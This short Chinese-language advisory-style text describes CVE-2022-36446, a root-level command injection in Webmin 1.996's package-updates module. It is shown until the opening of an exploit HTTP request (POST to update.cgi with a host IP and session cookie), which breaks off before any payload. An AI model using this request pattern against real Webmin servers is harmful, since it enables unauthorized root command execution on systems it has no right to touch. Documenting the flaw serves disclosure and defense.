CVE-2022-36446

CVE-2022-36446 CVE-2022-36446 - Webmin 1.996 远程代码执行 需要访问"软件包更新"模块才能触发该漏洞。拥有该模块访问权限的用户可以在安装新软件包时，通过执行操作系统命令注入，以 root 权限在系统上运行命令。 HTTP 请求： root@kitploit: POST /package-updates/update.cgi HTTP/1.1 Host: 46.101.171.176:10000 Cookie: redirect=1; testing=1; sid=05ebaaec3707b0075c641325e9153608...